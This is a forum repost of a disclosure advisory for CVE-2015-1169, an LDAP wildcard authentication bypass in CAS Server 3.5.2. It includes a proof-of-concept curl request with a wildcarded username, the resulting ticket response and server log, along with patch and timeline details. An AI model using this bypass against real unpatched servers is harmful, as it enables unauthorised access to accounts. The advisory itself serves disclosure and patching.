Aerosol Posted January 22, 2015 Report Posted January 22, 2015 =====[Alligator Security Team - Security Advisory]======== CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAPauthentication via crafted wildcards. Reporter: José Tozo < juniorbsd () gmail com >=====[Table of Contents]==================================1. Background2. Detailed description3. Other contexts & solutions4. Timeline5. References=====[1. Background]====================================== CAS is an authentication system originally created by Yale University toprovide a trusted way for an application to authenticate a user.=====[2. Detailed description]============================A valid username and password required.Given a username johndoe and a password superpass, you can sucessfullyachieve login using wildcards:username: jo*password: superpassThe login will be sucessfully only if the ldap bind search return oneunique member.The vulnerability described in this document can be validated using thefollowing example:Client Request:root@machine:/# curl -k -L -d "username=jo%2A&password=superpass"https://login.cas-server.com/v1/tickets(note that * was url encoded to %2A)<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html> <head> <title>201 The request has been fulfilled and resulted in a newresource being created</title> </head> <body> <h1>TGT Created</h1> <form action="https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz"method="POST">Service:<input type="text" name="service" value=""><br><inputtype="submit" value="Submit"></form> </body></html>Server log:=============================================================WHO: [username: jo*]WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSazACTION: TICKET_GRANTING_TICKET_CREATEDAPPLICATION: CASWHEN: Tue Jan 20 18:38:17 BRST 2015CLIENT IP ADDRESS: xxx.xxx.xxx.xxxSERVER IP ADDRESS: xxx.xxx.xxx.xxx==================================================================[3. Other contexts & solutions]====================== In order to apply the patch, you have to update at least to version 3.5.3.Newer versions, such as CAS 4.0.0 and above, are not vulnerable.=====[4. Timeline]========================================29/12/14 Vendor notification.14/01/15 Vendor rolled out new version 3.5.317/01/15 Mitre assigned CVE-2015-1169.21/01/15 Disclosure date.=====[5. References]=======================================1 - https://github.com/Jasig/cas/pull/4112 -https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c-- Grato, TozoSource Quote
